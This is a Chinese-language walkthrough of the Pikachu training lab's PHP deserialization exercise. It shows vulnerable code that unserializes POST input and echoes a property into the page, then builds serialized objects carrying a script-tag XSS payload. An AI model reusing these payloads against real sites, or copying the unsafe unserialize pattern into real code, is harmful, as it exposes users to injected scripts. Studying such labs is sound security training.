pikachu_php反序列化
源代碼
class S{var $test = "pikachu";function __construct(){echo $this->test;}
}//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,來點勁爆點兒的!</p>";}else{$html.="<p>{$unser->test}</p>";}}
源碼可見,需要執行到test,那么就需要執行construct函數,該魔法函數創建對象時就會被執行,執行到else分支之后輸入值的反序列化就會當做值給test調用
過程
嘗試寫一個xss攻擊,將xss攻擊序列化提交
<?php
class Test{public $a="<script>alert(/order/)</script>";
}$a=new Test();var_dump(serialize($a));
?>
查看結果
發現xss標簽部分被執行了,然后沒有了
因此需要在序列化的時候替換掉xss攻擊代碼中的一部分,讓其無法執行,生成后再替換回來即可
此處將括號換成x,并且構造成源碼一樣的參數名
<?php
class S{var $test = "xscript>alert(/order/)x/script>";
}$s=new S(); print_r(serialize($s));
?>
得到結果然后修改尖括號
O:1:"S":1:{s:4:"test";s:31:"xscript>alert(/order/)x/script>";}O:1:"S":1:{s:4:"test";s:31:"<script>alert(/order/)</script>";}
拿去執行,成功執行xss